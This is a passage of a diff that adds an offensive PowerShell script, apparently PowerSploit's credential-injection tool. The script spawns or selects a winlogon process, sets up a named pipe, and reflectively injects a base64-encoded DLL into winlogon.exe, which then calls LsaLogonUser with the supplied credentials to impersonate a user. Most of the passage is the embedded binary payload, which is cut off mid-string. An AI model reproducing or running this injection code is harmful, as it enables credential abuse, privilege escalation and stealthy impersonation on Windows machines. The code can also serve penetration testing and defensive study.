Create-WinLogonProcess + Write-Output "Created winlogon process to call LsaLogonUser in. Kill ProcessID $WinLogonProcessId when done impersonating." + Write-Output "Execute: Stop-Process $WinLogonProcessId -force" + } + elseif ($PsCmdlet.ParameterSetName -ieq "ExistingWinLogon") + { + $WinLogonProcessId = (Get-Process -Name "winlogon")[0].Id + } + + #Get a ushort representing the logontype + [Byte]$LogonTypeNum = 0x0 + switch ($LogonType) + { + "Interactive" {$LogonTypeNum = 2} + "NetworkCleartext" {$LogonTypeNum = 8} + "RemoteInteractive" {$LogonTypeNum = 10} + } + + $AuthPackageNum = 0 + #Get a ushort representing the authentication package to use + switch ($AuthPackage) + { + "Msv1_0" {$AuthPackageNum = 1} + "Kerberos" {$AuthPackageNum = 2} + } + + + #Main + try + { + $Pipe = Create-NamedPipe + + #Reflectively inject a DLL in to the new winlogon process which will receive credentials and call LsaLogonUser from within winlogon.exe + $Logon32Bit_Base64 = "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